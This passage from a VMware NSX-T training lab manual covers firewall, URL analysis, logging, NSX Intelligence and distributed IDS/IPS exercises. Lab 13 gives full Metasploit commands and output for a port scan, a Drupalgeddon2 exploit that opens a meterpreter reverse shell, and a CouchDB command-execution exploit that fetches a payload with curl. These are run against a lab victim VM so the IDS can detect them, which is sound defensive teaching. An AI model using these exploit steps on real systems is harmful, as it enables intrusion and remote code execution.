1. From your student desktop, log in to the NSX UI.

a. Open another tab in Chrome.

b. Click the NSX-T Data Center > NSX Manager bookmark.

c. On the login page, enter jdoe@vclass.local as the user name and VMware1! as
the password.

Task 2: Verify the Gateway Rules from the NSX Edge CLI
You verify the gateway firewall rule information from the NSX Edge command line.

1. On your student desktop, open the MTPuTTY application from the taskbar.

2. Under the NSX Inventory folder, double-click sa-nsxedge-01 to open an SSH connection.

63
3. Retrieve all edge interfaces that have firewall rules configured.

sa-nsxedge-01> get firewall interfaces

Example:

sa-nsxedge-01> get firewall interfaces

Interface : 5215b15b-7c8a-4c90-810d-b5a26bad8a00
Type : UPLINK
Sync enabled : false
Name : T0-GW-01-Uplink-1
VRF ID : 2
Context entity : 58b30749-ca0e-4119-bff5-3921d5a4eb39
Context name : SR-T0-GW-01
The Reject SSH rule was applied to the T0-GW-01-Uplink-1 interface.

4. Record details of the T0-GW-01-Uplink-1 interface in the Value column of this table in your
student worksheet.

T0-GW-01-Uplink-1 Interface Configuration Details

Parameter Value

Type

Interface (UUID)

Context Name

64
5. Run the following command to query the gateway firewall rules associated with the uplink
interface.

sa-nsxedge-01> get firewall <uuid> ruleset rules

Example:

sa-nsxedge-01> get firewall 5215b15b-7c8a-4c90-810d-

b5a26bad8a00 ruleset rules
Firewall rule count: 2
Rule ID : 3057
Rule : inout protocol tcp stateless from any to
addrset {172.16.10.11, 172.16.10.12, 172.16.10.13,
172.16.20.11, 172.16.30.11} port 22 interface uuid 5215b15b-
7c8a-4c90-810d-b5a26bad8a00 reject

Rule ID : 2025
Rule : inout protocol any stateless from any to any
accept
6. Record details of the gateway firewall rule that blocks SSH traffic in the Value column of this
table in your student worksheet.

SSH Firewall Rule Configuration Details

Parameter Value

Rule ID

Direction (in/out/inout)

Protocol

From (source)

To (destination)

Port

Action (accept/reject/drop)

65
Task 3: Prepare for the Next Lab
You delete the gateway firewall policy.

1. On the NSX UI Home page, navigate to Security > North South Firewall > Gateway Firewall
> GATEWAY SPECIFIC RULES.

2. Verify that T0-GW-01 is selected from the Gateway drop-down menu.

3. Click the vertical ellipsis icon near the BLOCK EXTERNAL SSH TRAFFIC policy and select
Delete Policy.

4. Click PUBLISH.

5. Open MTPuTTY from the desktop and connect to sa-web-01, sa-app-01, and sa-db-01.

6. Verify that SSH connections are allowed from the external network.

66
Lab 10 Analyzing Web Traffic with
URL Analysis

Objective and Tasks

Configure URL Analysis and analyze traffic for external websites:

1. Prepare for the Lab

2. Enable URL Analysis

3. Configure Custom Context Profiles for URL Analysis

4. Create a Layer 7 Rule for DNS Traffic

5. Generate Traffic for External Websites

6. Review the URL Analysis Dashboard

7. Prepare for the Next Lab

Task 1: Prepare for the Lab

You log in to the NSX UI.

1. From your student desktop, open Chrome.

2. Click the NSX-T Data Center > NSX Manager bookmark.

3. On the login page, enter jdoe@vclass.local as the user name and VMware1! as the
password.

67
Task 2: Enable URL Analysis
You enable URL Analysis on the Edge-Cluster-01 NSX Edge cluster.

1. From the NSX UI, navigate to Security > North South Security > URL Analysis.

2. When the Getting started with NSX's URL Analysis message appears,
click GET STARTED.

3. Navigate to the Settings tab.

4. Find the Edge-Cluster-01 NSX Edge Cluster and turn on the URL Analysis State toggle.

5. Click YES when prompted to confirm enable.

6. Verify that the URL Analysis state is changed to Enabled.

7. Expand Edge-Cluster-01 and verify that the Connection Status for sa-nsxedge-01 is Up.
The Connection Status might take up to 5 minutes to change. Click the REFRESH arrow next
to Connection Status periodically to update the status.

Task 3: Configure Custom Context Profiles for URL Analysis

You create three custom context profiles to filter the web traffic.

1. On the Settings tab, find the Edge-Cluster-01 NSX Edge cluster and click Set under Profiles.

The Context Profile wizard appears

2. Click ADD CONTEXT PROFILE.

3. Configure a new context profile for social network websites.

a. Enter SOCIAL in the Name text box.
b. Click Set under Attributes.
c. Select ADD ATTRIBUTE > URL Category.
d. Select Social Networking from the Attribute Name/Values drop-down menu.
e. Click ADD and click APPLY.

4. Click SAVE.

5. Click ADD CONTEXT PROFILE.

6. Configure a new context profile for search engines.

a. Enter SEARCH in the Name text box.
b. Click Set under Attributes.
c. Select ADD ATTRIBUTE > URL Category.
d. Select Search Engines from the Attribute Name/Values drop-down menu.
e. Click ADD and click APPLY.

68
7. Click SAVE.

8. Click ADD CONTEXT PROFILE.

9. Configure a new context profile for proxy avoidance websites.

a. Enter PROXY AVOIDANCE in the Name text box.

b. Click Set under Attributes.

c. Select ADD ATTRIBUTE > URL Category.

d. Select Proxy Avoidance and Anonymizers from the Attribute Name/Values drop-
down menu.

e. Click ADD and click APPLY.

10. Click SAVE and APPLY.

Task 4: Create a Layer 7 Rule for DNS Traffic

You configure a Layer 7 firewall rule on the Tier-1 gateway uplink to capture DNS traffic.

1. In the NSX UI, navigate to Security > North South Security > Gateway Firewall >
GATEWAY SPECIFIC RULES.

2. From the Gateway drop-down menu, select T1-GW-01.

3. Click + ADD POLICY.

4. When the row for the new policy appears, enter URL POLICY as the name.

5. Click the vertical ellipsis icon near URL POLICY and select Add Rule.

6. Configure the rule.

a. Enter URL Rule as the name.

b. In the Sources column, leave Any (default) selected.

c. In the Destinations column, leave Any (default) selected.

d. In the Services column, click the pencil icon, Select the DNS-UDP and DNS check boxes
in the Set Services page, and click APPLY.

e. In the Context Profiles column, click the pencil icon, select the DNS check box in the
Select Context Profile page, and click APPLY.

f. In the Applied To column, leave T1-GW-01 (default) selected.

g. In the Action column, leave Allow (default) selected.

7. Click PUBLISH.

69
Task 5: Generate Traffic for External Websites
You generate web traffic to different types of websites from the sa-web-01 virtual machine.

1. Use MTPuTTY (located in the toolbar of the student desktop) to open an SSH console to
sa-web-01.

MTPuTTY is located in the toolbar of the student desktop.

2. Generate traffic for social media sites.

ping -c5 www.facebook.com

ping -c5 www.linkedin.com

3. Generate traffic for search engines.

ping -c5 www.google.com

4. Generate traffic for proxy avoidance sites.

ping -c5 www.torproject.org

Task 6: Review the URL Analysis Dashboard

You examine the URL Analysis dashboard for insights about the accessed websites.

1. From the NSX UI, navigate to Security > North South Security > URL Analysis > URLs.

The URL Analysis dashboard displays the accessed URLs classified by reputation score and
category. At least three different categories appear in the dashboard.
Results might take up to 5 minutes to appear. Click the REFRESH link at the top right of the
page to see the most recent results.

2. Navigate to the bottom of the dashboard and review additional information about each
visited URL, including its reputation score, domain name, category, and session count.

Task 7: Prepare for the Next Lab

You delete the Layer 7 gateway firewall rule.

1. On the NSX UI Home page, navigate to Security > North South Firewall > Gateway Firewall
> GATEWAY SPECIFIC RULES.

2. Verify that T1-GW-01 is selected from the Gateway drop-down menu.

3. Click the vertical ellipsis icon near URL POLICY and select Delete Policy.

4. Click PUBLISH.

70
Lab 11 Using vRealize Log Insight to
Diagnose NSX Distributed Firewall
Rules

Objective and Tasks

Configure the NSX environment to send logging details to vRealize Log Insight and diagnose
distributed firewall information:

1. Prepare for the Lab

2. Configure vRealize Log Insight as a Syslog Server

3. Configure Distributed Firewall Logging

4. Generate Firewall Traffic

5. Use vRealize Log Insight to Review Distributed Firewall Logs and Events

6. Prepare for the Next Lab

Task 1: Prepare for the Lab

You log in to the vRealize Log Insight UI and the NSX UI.

1. From your student desktop, log in to the vRealize Log Insight UI.
a. Open Chrome.
b. Click the Tools > vRealize Log Insight bookmark.
c. If the Your connection is not private message appears, click Advanced
and click the Proceed to sa-vrli-01.vclass.local (unsafe) link.
d. On the login page, enter admin as the user name and VMware1! as the password.

2. Log in to the NSX UI.

a. Open another tab in Chrome.
b. Click the NSX-T Data Center > NSX Manager bookmark.
c. On the login page, enter jdoe@vclass.local as the user name and VMware1! as
the password.

71
Task 2: Configure vRealize Log Insight as a Syslog Server
You configure NSX Manager and the ESXi hosts to send their log files to vRealize Log Insight

1. On your student desktop, open the MTPuTTY application from the taskbar.

2. Under the NSX Inventory folder, double-click sa-nsxmgr-01 to open a console

connection.

3. Configure NSX Manager to export the log files to vRealize Log Insight.

set logging-server sa-vrli-01.vclass.local proto udp level

info

NOTE

You can ignore the warning about udp-based log forwarding.

4. Verify that vRealize Log Insight was successfully configured as a Syslog server.

get logging-servers
5. Under the Infrastructure folder in MTPuTTY, double-click SA-ESXi-03 to open a
console connection.

6. Configure the ESXi firewall to allow Syslog traffic.

esxcli network firewall ruleset set -r syslog -e true

7. Configure the ESXi host to export the log files to vRealize Log Insight.

esxcli system syslog config set --loghost=sa-vrli-

01.vclass.local
8. Reload the ESXi host Syslog configuration for the changes to take effect.

esxcli system syslog reload

Task 3: Configure Distributed Firewall Logging

You enable logging for the distributed firewall rules in the 3-Tier policy.

1. In the NSX UI, navigate to Security > East West Security > Distributed Firewall.

2. Click CATEGORY SPECIFIC RULES and click the APPLICATION tab.

3. Find and expand 3-TIER POLICY.

4. Click the vertical ellipsis icon near 3-TIER POLICY and select Enable All Rules.

5. Click the vertical ellipsis icon near 3-TIER POLICY and select Enable Logging for All Rules.

6. Click PUBLISH.

72
Task 4: Generate Firewall Traffic
You generate firewall traffic among the virtual machines of the 3-Tier application.
1. Use MTPuTTY to open an SSH console to sa-web-01.
MTPuTTY is in the toolbar of the student desktop.
2. Test the ICMP reachability.
ping -c 2 172.16.20.11 (sa-app-01)
ping -c 2 172.16.30.11 (sa-db-01)
All pings fail because a distributed firewall rule is configured to reject all traffic that is not
explicitly allowed between the Web, App, and DB VMs.

3. Test HTTPS access to the application server.

a. From the sa-web-01 console, request an HTTPS webpage from sa-app-01.
curl -k https://172.16.20.11:8443/cgi-bin/app.py
b. Verify that an HTTPS response is returned from sa-app-01.

4. Test the HTTP access to the database server.

a. Use MTPuTTY to open an SSH console to sa-app-01.
b. Request an HTTP webpage from sa-db-01.
curl http://172.16.30.11/cgi-bin/data.py
c. Verify that an HTTP response is returned from sa-db-01.

5. From the sa-app-01 console, try to open an SSH session to sa-db-01 to verify that only the
HTTP traffic is allowed between sa-app-01 and sa-db-01.
ssh 172.16.30.11
The connection is refused.

Task 5: Use vRealize Log Insight to Review Distributed Firewall Logs

and Events
You use vRealize Log Insight to manage and review the NSX Distributed Firewall rules.

1. On the vRealize Log Insight UI, navigate to Dashboards > VMware - NSX-T > NSX -
Distributed Firewall - Traffic.
You might need to point to the dashboard menu to see the complete name for each
dashboard.
2. Verify that Latest 5 minutes of data is selected from the drop-down menu.
You might need to adjust the period as appropriate if you do not observe any data.
3. In the Top Firewall Sources dashboard, verify that sa-web-01 (172.16.10.11) and sa-app-01
(172.16.20.11) are listed as the most common IP sources for the firewall rules.

4. In the Top Firewall Destinations dashboard, verify that sa-app-01 (172.16.20.11) and sa-db-01
(172.16.30.11) are listed as the most common IP destinations for the firewall rules.

73
5. In the Applications Ports Permitted dashboard, verify that port 80 (HTTP) and port 8443
are listed as the most common applications allowed in the distributed firewall rules.

6. In the Applications Ports Denied dashboard, verify that port 22 (SSH) is listed as the most
common applications denied or rejected in the distributed firewall rules.

7. Navigate to the Interactive Analytics tab.

8. Verify that Latest 5 minutes of data is selected from the drop-down menu.

You might need to adjust the period as appropriate if you do not observe any logs.

9. Click +ADD FILTER under the search bar.

10. Select vmw_nsxt_firewall_action from the filter drop-down menu.

11. Leave contains selected in the condition drop-drop menu.

12. Enter REJECT in the filter text box.

13. Click the magnifying glass icon to filter the logs.

14. Verify that at least three log entries appear.

• An entry that rejects SSH traffic (port 22) from 172.16.20.11 (sa-app-01) to 172.16.30.11
(sa-db-01)

• Any entry that rejects ICMP traffic from 172.16.10.11 (sa-web-01) to 172.16.20.11 (sa-app-
01)

• An entry that rejects ICMP traffic from 172.16.10.11 (sa-web-01) to 172.16.30.11 (sa-db-01)

Task 6: Prepare for the Next Lab

You delete all user-created distributed firewall rules and inventory groups.

1. On the NSX UI, navigate to Security > East West Security > Distributed Firewall >
CATEGORY SPECIFIC RULES > APPLICATION.

2. Click the vertical ellipsis icon near LAYER-7 POLICY and select Delete Policy.

3. Click the vertical ellipsis icon near EXTERNAL ACCESS POLICY and select Delete Policy.

4. Click the vertical ellipsis icon near 3-TIER POLICY and select Delete Policy.

5. Click PUBLISH.

6. Navigate to Inventory > Groups.

7. Click the vertical ellipsis icon near the 3-Tier group and select Delete.

8. Click DELETE to confirm.

9. Click the vertical ellipsis icon near the Web-Servers group and select Delete.

74
10. Click DELETE to confirm.

11. Click the vertical ellipsis icon near the App-Servers group and select Delete.

12. Click DELETE to confirm.

13. Click the vertical ellipsis icon near the DB-Servers group and select Delete.

14. Click DELETE to confirm.

75
76
Lab 12 Using NSX Intelligence to Gain
Security Insights

Objective and Tasks

Visualize traffic flows and generate recommendations to secure NSX:

1. Check the Health Status of NSX Intelligence

2. Generate Traffic Flows

3. Visualize Traffic Flows

4. Generate Security Recommendations

5. Modify and Publish Security Recommendations

6. Review the Configured Distributed Firewall Rules and Security Groups

7. Prepare for the Next Lab

Task 1: Prepare for the Lab

You log in to the NSX UI.

1. From your student desktop, open Chrome.

2. Click the NSX-T Data Center > NSX Manager bookmark.

3. On the login page, enter jdoe@vclass.local as the user name and VMware1! as the
password.

77
Task 2: Check the Health Status of NSX Intelligence
You check the health status of the NSX Intelligence appliance from both the UI and NSX CLI.

1. On the NSX UI Home page, navigate to System > Configuration > Appliances.

2. Under the NSX Intelligence Appliance section, view the information of the predeployed NSX
Intelligence instance (172.20.10.46), including its IP address, version, and resource utilization.

3. On your student desktop, open the MTPuTTY application from the taskbar.

4. Under the NSX Inventory folder, double-click sa-nsxintel-01 to open a console connection.

5. Check the status of the NSX Intelligence services

get services
This command returns the status of the services in the NSX Intelligence appliance. In a
healthy appliance, the state of the following services should be running and their health
should be STABLE:

• druid

• kafka

• nsx-config

• pace-server

• processing

• spark

• spark-job-scheduler
• zookeeper

NOTE

Some services such as nsx-config, processing, and spark-job-scheduler only appear with a
running state, but does not appear as STABLE.

78
Task 3: Generate Traffic Flows
You generate traffic flows among the virtual machines in the 3-Tier application.

1. Use MTPuTTY to open an SSH console to sa-web-01.

MTPuTTY is located in the toolbar of the student desktop.

2. Test HTTPS access to the application server.

a. From sa-web-01, request an HTTPS webpage from sa-app-01.

curl -k https://172.16.20.11:8443/cgi-bin/app.py
b. Verify that an HTTPS response is returned from sa-app-01.

3. Test SSH access to the application server.

a. From the sa-web-01 console, initiate an SSH session to sa-app-01.

ssh 172.16.20.11
b. When prompted, enter VMware1! as the password.

c. Verify that you can successfully open an SSH session to sa-app-01.

d. Leave the SSH session open.

4. Test the HTTP access to the database server.

a. Use MTPuTTY to open an SSH console to sa-app-01.

b. Request an HTTP webpage from sa-db-01.

curl http://172.16.30.11/cgi-bin/data.py
c. Verify that an HTTP response is returned from sa-db-01.

79
Task 4: Visualize Traffic Flows
You visualize the traffic flows you generated among the virtual machines in the 3-Tier application
from the NSX Intelligence UI.

1. On the NSX Home page, navigate to the Plan & Troubleshoot tab.

2. Navigate to Discover & Plan > Discover & Take Action to access the NSX Intelligence UI.

IMPORTANT

The visualization display might take a few seconds to appear or an error message might
appear if too much data must be rendered. If an error message appears, you can still
continue to the next step.

3. Filter the visualization results.

a. Verify that Last 1 Hour is selected from the drop-down menu at the top-right of the
screen.

b. Select Computes from the OBJECTS drop-drop menu at the top-left of the screen.

c. Select Show All Types and select VMs to filter the results.

d. Select the sa-app-01, sa-db-01 and sa-web-01 check boxes.

e. Click APPLY.

4. Verify that the flows appear in the visualization pane.

The flows might take up to five minutes to appear. Periodically click the Refresh icon at the
top right of the screen until the flows appear.

IMPORTANT

Depending on your lab environment at the time, apart from the traffic you manually
generated, you might observe additional flows related to NTP, DNS, and SSH traffic.

5. Find the arrow that connects sa-web-01 and sa-app-01 and double-click the arrow to obtain
additional details about the flows.

6. On the Completed Flows tab, expand the flow to verify its source and destination IP
address, and the number of packets transmitted.

You can also verify the time when the flow ended.

7. Click the link under the Services field and verify that the traffic between sa-web-01 and sa-
app-01 uses TCP port 8443.

8. Click X to close the Services window.

80
9. Navigate to the Active Flows tab.

10. Verify that an SSH traffic flow exists between sa-web-01 and sa-app-01.

You can also see the time when the flow started.

11. Click X to close the Services window and click CLOSE.

12. Find the arrow that connects sa-app-01 and sa-db-01 and double-click the arrow to obtain
additional details about the flows.
13. On the Completed Flows tab, expand the flow to verify its source and destination IP
address, and the number of packets transmitted.

You can also verify the time when the flow ended.

14. Click the link under the Services field and verify that the traffic between sa-app-01 and sa-
db-01 uses TCP port 80.

15. Click X to close the Services window and click CLOSE.

Task 5: Generate Security Recommendations

You generate security recommendations based on the discovered traffic flows.

1. In the NSX UI, navigate to the Plan & Troubleshoot > Recommendations.

2. Click START NEW RECOMMENDATION.

3. Configure the recommendation.

Option Action

Recommendation Name Enter 3-Tier App in the text box.

Description Enter 3-Tier App Recommendation in the text box.

Selected Entities in Click the Select Entities link, click the VMs tab, select the sa-
Scope web-01, sa-app-01, and sa-db-01 check boxes, and click SAVE.

Traffic Considered Leave All Traffic (default) selected.

Connectivity Strategy Leave None (default) selected.

Time Range (Advanced Select Last 1 Hour from the drop-down menu.
Options)

Leave the default values for the other settings.

4. Click START DISCOVERY.

81
5. When the message confirming the successful start of the recommendation appears, click the
DISMISS link to return to the Recommendations tab.

6. Verify that the status for the 3-Tier App recommendation progresses through different
stages.

• Waiting

• Discovery in Progress

• Ready to Publish

Periodically click the Refresh icon at the bottom of the screen until the status changes to
Ready to Publish.

NOTE

It can take between 3 to 15 minutes for the recommendation to complete.

Task 6: Modify and Publish Security Recommendations

You review, modify, and publish the distributed firewall rules and security groups recommended
by NSX Intelligence.

1. Click the 3-Tier App link under the Name field to the view the recommendation details.

2. Navigate to the Groups tab to see the details about the recommended security groups.

3. For each group, review the group members and rename the group accordingly.

IMPORTANT

Repeat these substeps for all available groups.

a. Click the Members link.

Example: 3 VMs 0 IPs 0 Physical Servers.
b. Review the members of the group and click CLOSE.
Example: sa-web-01, sa-app-01, and sa-db-01.
c. Click the vertical ellipsis icon next to the group and click Edit.
d. Rename the group so that you can quickly identify its members and click SAVE.
You might need to scroll down to see the SAVE button.
Example: 3-TIER, WEB, APP, DB.
For detected groups with only IP addresses (0 VMs, 1 IPs, 0 physical servers), you can
name the server with IP 172.20.10.80 as Student Desktop and the server with IP
172.20.10.10 as DC-RRAS.

82
4. On the Rules tab, review the recommended distributed firewall rules.

IMPORTANT

Depending on your lab environment at the time, apart from the traffic you manually
generated, you might observe additional rules related to NTP, DNS, and SSH traffic.

5. Click PROCEED.

6. Expand the Policy-1 security policy and verify that all distributed firewall rules are included,
and the group names are updated accordingly.

7. Click PUBLISH and click YES to confirm.

8. Click VIEW IN DISTRIBUTED FIREWALL TABLE.

Task 7: Review the Configured Distributed Firewall Rules and

Security Groups
You verify that the distributed firewall rules and security groups recommended by NSX
Intelligence are successfully created in the NSX UI.

1. In the Distributed Firewall page, find and expand the Policy-1 security policy created by NSX
Intelligence.

2. Verify that all the suggested firewall rules were successfully configured.

3. From the NSX UI, navigate to Inventory > Groups.

4. Verify that all groups recommended by NSX Intelligence were successfully configured.

Task 8: Prepare for the Next Lab

You modify the 3-Tier security group in preparation for the next lab.

1. On the NSX UI, navigate to Inventory > Groups.

2. Click the vertical ellipsis icon near the 3-Tier group and select Edit.

3. Click the 3 Members link.

4. Navigate to the Members tab.

5. Select the sa-web-02 and sa-web-03 victim check-boxes.

6. Leave all other VMs (sa-web-01, sa-app-01, sa-db-01) selected.

7. Click APPLY and click SAVE.

83
84
Lab 13 Configuring Distributed
Intrusion Detection and Prevention

Objective and Tasks

Configure NSX Distributed IDS/IPS and analyze the malicious traffic:

1. Prepare for the Lab

2. Download the Intrusion Detection and Prevention Signatures

3. Enable Distributed Intrusion Detection and Prevention for a vSphere Cluster

4. Create an Intrusion Detection and Prevention Profile

5. Configure the Intrusion Detection Rules

6. Generate Malicious Traffic

7. Analyze Intrusion Detection Events

8. Modify IDS/IPS Settings to Prevent Malicious Traffic

9. Generate and Analyze Intrusion Prevention Events

Task 1: Prepare for the Lab

You log in to the NSX UI.

1. From your student desktop, open Chrome.

2. Click the NSX-T Data Center > NSX Manager bookmark.

3. On the login page, enter jdoe@vclass.local as the user name and VMware1! as the
password.

85
Task 2: Download the Intrusion Detection and Prevention Signatures
You configure NSX Manager to automatically download Intrusion Detection signatures from a
third-party repository.

1. On the NSX UI Home page, navigate to Security > East West Security > Distributed
IDS/IPS.

2. When the message to start with the NSX Intrusion Detection System appears, click GET
STARTED.
3. Navigate to the SETTINGS tab.

4. Under Intrusion Detection and Prevention Signatures, verify the last time the IDS/IPS
signatures were downloaded.

5. In the Intrusion Detection and Prevention Signatures section, leave the Auto Update new
versions (recommended) check box unselected.

Task 3: Enable Distributed Intrusion Detection and Prevention for a

vSphere Cluster
You enable Distributed Intrusion Detection and Prevention for the SA-Compute-01 vSphere
cluster.

1. On the SETTINGS tab, navigate to Enable Intrusion Detection and Prevention for
Cluster(s).

2. Select the Compute-Cluster check box and click ENABLE.

3. When the Are you sure you want to Enable Intrusion Detection
and Prevention for selected clusters? message appears, click YES and
verify that the status is changed to Enabled.

86
Task 4: Create an Intrusion Detection and Prevention Profile
You create a custom Intrusion Detection and Prevention profile for the 3-Tier application.

1. On the NSX UI Home page, navigate to Security > East West Security > Distributed
IDS/IPS > PROFILES.

2. Click ADD PROFILE.

The IDS/IPS Profile wizard appears.

3. Configure the IDS/IPS profile.

Option Action

Name Enter 3-Tier Application in the text box.

Description Enter IDS/IPS Profile for critical, high and

medium signatures in the text box.

IDS Signatures - Deselect the Low check box and leave the Critical , High and
Intrusion Severities Medium check boxes selected.

4. Click SAVE.

5. Verify that Success appears as the status for the 3-Tier Application IDS/IPS Profile.

Task 5: Configure the Intrusion Detection Rules

You configure Intrusion Detection rules to detect east-west malicious traffic.

1. On the NSX UI Home page, navigate to Security > East West Security > Distributed
IDS/IPS > RULES.

2. Click +ADD POLICY.

A row appears for the new policy.

3. Enter 3-Tier Application IDS/IPS Policy as the name of the policy.

4. Click the vertical ellipsis icon near IDS Policy and select Add Rule.

A row appears for the new rule.

87
5. Configure the new rule.

a. Enter IDS/IPS Rule for 3-Tier Application as the name of the rule.

b. In the Sources column, leave Any (default) selected.

c. In the Destinations column, leave Any (default) selected.

d. In the Services column, leave Any (default) selected.

e. In the IDS Profile column, click the pencil icon, select the 3-Tier Application check box,
and click SAVE.

f. In the Applied To column, click the pencil icon, click Groups, select the 3-Tier check box,
and click APPLY.

g. In the Mode column, leave Detect Only (default) selected.

6. Navigate to the top-right corner of the screen and click PUBLISH.

Verify that success appears as the realization status for the IDS/IPS policy. You might need
to click the REFRESH option for the status to change.

88
Task 6: Generate Malicious Traffic
You use Metasploit to discover potential attack vectors, and start multiple attacks on discovered
vulnerabilities.

1. Use MTPuTTY to open an SSH session to SA-EXTVM-01.

2. Initiate a port-scan against the virtual machines in the Web Segment to discover running
services that might be used as an attack vector.

a. Start Metasploit with root privileges.

sudo msfconsole
b. When prompted, enter VMware1! as the password.

The prompt changes to msf5>.

c. Select the port-scan module.

use auxiliary/scanner/portscan/tcp
d. Specify the number of threads for the port-scan.

set THREADS 50
e. Define the subnet to scan.

set RHOSTS 172.16.10.0/24

f. Define the ports to scan.

set PORTS 8080,5984

g. Run the port-scan.

run
3. Verify that the port-scan completed successfully.

NOTE

The following extract shows the output of the commands that were run in the previous step.
The commands are shown for illustrative and validation purposes, but you do not need to run
these commands again.

89
 msf5 > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS
172.16.10.0/24
RHOSTS => 172.16.10.0/24
msf5 auxiliary(scanner/portscan/tcp) > set PORTS 8080,5984
PORTS => 8080,5984
msf5 auxiliary(scanner/portscan/tcp) > run

[+] 172.16.10.13: - 172.16.10.13:8080 - TCP OPEN

[+] 172.16.10.13: - 172.16.10.13:5984 - TCP OPEN
[*] 172.16.10.0/24: - Scanned 38 of 256 hosts (14%
complete)
[*] 172.16.10.0/24: - Scanned 54 of 256 hosts (21%
complete)
[*] 172.16.10.0/24: - Scanned 80 of 256 hosts (31%
complete)
[*] 172.16.10.0/24: - Scanned 105 of 256 hosts (41%
complete)
[*] 172.16.10.0/24: - Scanned 130 of 256 hosts (50%
complete)
[*] 172.16.10.0/24: - Scanned 155 of 256 hosts (60%
complete)
[*] 172.16.10.0/24: - Scanned 180 of 256 hosts (70%
complete)
[*] 172.16.10.0/24: - Scanned 206 of 256 hosts (80%
complete)
[*] 172.16.10.0/24: - Scanned 233 of 256 hosts (91%
complete)
[*] 172.16.10.0/24: - Scanned 256 of 256 hosts (100%
complete)
[*] Auxiliary module execution completed
The TCP ports 8080 and 5984 are successfully opened in the sa-web-03-victim
(172.16.10.13) virtual machine. Such services can be potentially used as a vector for an attack.
Port 8080 is used by the Drupal web application, while port 5984 is used by CouchDB.

90
4. Initiate a Drupalgeddon2 exploit against the sa-web-03-victim virtual machine.

a. Use the Metasploit console you opened earlier to select the drupalgeddon2 exploit
module.

use exploit/unix/webapp/drupal_drupalgeddon2
b. Define the IP address of the victim to attack.

set RHOST 172.16.10.13

c. Define the port that the web application service runs on.

set RPORT 8080

d. Initiate the exploit attempt.

exploit
5. Verify that the Drupalgeddon2 exploit completed successfully.

NOTE

The following extract shows the output of the commands that were run in the previous step.
The commands are shown for illustrative and validation purposes, but you do not need to run
these commands again.

msf5 auxiliary(scanner/portscan/tcp) > use

exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to
php/meterpreter/reverse_tcp
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST
172.16.10.13
RHOST => 172.16.10.13
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 8080
RPORT => 8080
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.100.10:4444

[*] Sending stage (38288 bytes) to 172.16.10.13
[*] Meterpreter session 1 opened ( 192.168.100.10:4444 ->
172.16.10.13:41496) at 2020-11-30 02:41:38 -0600

meterpreter >
When the attack completes successfully, a reverse TCP session is opened to the target
machine, allowing you to remotely run commands.

91
6. Run a remote command to retrieve information about the operating system of the target.

meterpreter > sysinfo

meterpreter > sysinfo
Computer : 273e1700c5be
OS : Linux 273e1700c5be 4.4.0-142-generic #168-Ubuntu
SMP Wed Jan 16 21:00:45 UTC 2019 x86_64
Meterpreter : php/linux
7. Enter exit to close the reverse TCP session.

8. Initiate the CouchDB Command Execution attack against the sa-web-03-victim virtual
machine.

a. Use the Metasploit console that you opened earlier to select the CouchDB Command
Execution exploit module.

use exploit/linux/http/apache_couchdb_cmd_exec
b. Define the IP address of the victim to attack.

set RHOST 172.16.10.13

c. Define the IP address of the local attacker machine.

set LHOST 192.168.100.10

d. Define the local port to use.

set LPORT 4445

The reverse shell will be established to this local port.

e. Initiate the exploit attempt.

exploit

92
9. Verify that the CouchDB Command Execution attack completed successfully.

NOTE

The following extract shows the output of the commands that were run in the previous step.
The commands are shown for illustrative and validation purposes, but you do not need to run
these commands again.

msf5 exploit(unix/webapp/drupal_drupalgeddon2) > use

exploit/linux/http/apache_couchdb_cmd_exec
[*] Using configured payload linux/x64/shell_reverse_tcp
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set RHOST
172.16.10.13
RHOST => 172.16.10.13
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set LHOST
192.168.100.10
LHOST => 192.168.100.10
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set LPORT 4445
LPORT => 4445
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit

[*] Started reverse TCP handler on 192.168.100.10:4445

[*] Generating curl command stager
[*] Using URL: http://0.0.0.0:8080/VuhWLv5fLBfL
[*] Local IP: http:// 192.168.100.10:8080/VuhWLv5fLBfL
[*] 172.16.10.13:5984 - The 1 time to exploit
[*] Client 172.16.10.13 (curl/7.38.0) requested /VuhWLv5fLBfL
[*] Sending payload to 172.16.10.13 (curl/7.38.0)
[*] Command shell session 2 opened ( 192.168.100.10:4445 ->
172.16.10.13:51532) at 2020-11-30 02:50:13 -0600
[+] Deleted /tmp/ejizyteg
[+] Deleted /tmp/hkealvqjgutxrtk
[*] Server stopped.
A command shell session was successfully opened to the sa-web-03-victim virtual machine
and two commands to delete folders were run.

10. Enter exit to close the shell session.

93
Task 7: Analyze Intrusion Detection Events
You examine the Intrusion Detection events dashboard.

1. On the NSX UI Home page, navigate to Security > East West Security > Distributed IDS >
EVENTS.

2. Verify that at least one critical event, represented in red, and three high events, represented
in orange, appear in the histogram.

3. Point to each of the red and orange dots to gather additional information about each
intrusion, including its severity, type, total number of attempts, and when it was first started.
4. Navigate to the bottom of the dashboard and expand the event with the ET
WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 1 details.

5. Review additional information about the attack and record the values in the table in your
student worksheet.

Apache CouchDB Remote Code Execution

Attacker IP Address

Attacker Source Port

Target IP Address

Target Destination Port

Protocol

Attack Target

Signature ID

CVSS

CVE(s)

Intrusion Activity - Number of Detected Only Events

Intrusion Activity - Number of Prevented Events

You will need the CVEs for the next task in the lab.

94
Task 8: Modify the IDS/IPS Settings to Prevent Malicious Traffic
You modify the IDS/IPS settings and rules to prevent east-west malicious traffic.

1. On the NSX UI Home page, navigate to Security > East West Security > Distributed
IDS/IPS > RULES.

2. Expand the 3-Tier Application IDS/IPS policy.

3. Find the IDS/IPS Rule for 3-Tier Application and select Detect and Prevent from the Mode
drop-down menu.

4. Click PUBLISH.

5. Navigate to the Distributed IDS/IPS > SETTINGS tab.

6. Click the View and manage global signature set >> link.

7. Enter the CVEs that you gathered in the previous task in the search text box.

Example: 2017-12635.

8. Modify the action for all signatures returned by the search from Alert to Reject.

9. Click SAVE.

95
Task 9: Generate and Analyze Intrusion Prevention Events
You generate malicious traffic and verify that NSX Distributed IDS/IPS successfully prevents
such events.

